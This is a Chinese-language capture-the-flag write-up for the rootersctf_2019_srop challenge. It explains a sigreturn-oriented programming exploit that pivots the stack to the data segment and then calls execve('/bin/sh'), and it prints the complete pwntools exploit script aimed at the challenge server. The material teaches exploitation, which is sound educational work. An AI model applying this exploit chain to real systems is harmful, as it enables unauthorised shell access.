BUU-rootersctf_2019_srop-WP


只开了NX,只存在syscall的gadgets,基本上就是srop了。无非就是做两件事,注入"/bin/sh\x00"和执行execve的系统调用,我们发现在syscall前面存在pop rax
所以execve是容易实现的,然后就是注入"/bin/sh\x00"

程序有一段大小足够的data段,所有我们可以考虑通过设置rsi至此来输入"/bin/sh"然后执行execve系统调用。
第一步先布置fake signal frame,之前rsp先被减了0x40,这里rsi=rsp+0x40+buf,所以偏移仍然是-buf。又在retn之前有一个leave,所以还要填8个字节的垃圾数据;同时布置fake signal frame还要多指定一个rbp,因为leave的时候等价于mov rsp,rbp pop rbp
。
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0 #fd
sigframe.rdx = 0x300 #conunt
sigframe.rsi = data_seg_addr#buf
sigframe.rsp = data_seg_addr
sigframe.rbp = data_seg_addr
sigframe.rip = syscall_leave_ret
payload = 'a'*0x80 + 'b'*8 + p64(pop_rax_syscall_leave_ret) + p64(15)
payload += str(sigframe)
sh.sendlineafter("Hey, can i get some feedback for the CTF?\n",payload)
sleep(0.3)
这样就完成了栈迁移,然后我们只要再布置execve的signal frame并注入"/bin/sh\x00"就可以获得shell了。
最后的exp
from pwn import *
context(log_level = 'debug',arch = 'amd64',os = 'linux')
pop_rax_syscall_leave_ret = 0x401032
syscall_leave_ret = 0x401033
read_syscall_addr = 0x401021
data_seg_addr = 0x402000
#sh = process("./rootersctf_2019_srop")
sh = remote("node3.buuoj.cn","26669")
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0 #fd
sigframe.rdx = 0x300 #conunt
sigframe.rsi = data_seg_addr#buf
sigframe.rsp = data_seg_addr
sigframe.rbp = data_seg_addr
sigframe.rip = syscall_leave_ret
payload = 'a'*0x80 + 'b'*8 + p64(pop_rax_syscall_leave_ret) + p64(15)
payload += str(sigframe)
sh.sendlineafter("Hey, can i get some feedback for the CTF?\n",payload)
sleep(0.3)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = data_seg_addr + 0x150
sigframe.rip = syscall_leave_ret
sigframe.rsp = data_seg_addr + 24
sigframe.rsi = 0
sigframe.rdx = 0
payload = ('b'*8 + p64(pop_rax_syscall_leave_ret) + p64(15) + str(sigframe)).ljust(0x150,'a')
payload += "/bin/sh\x00"
sh.sendline(payload)
sh.interactive()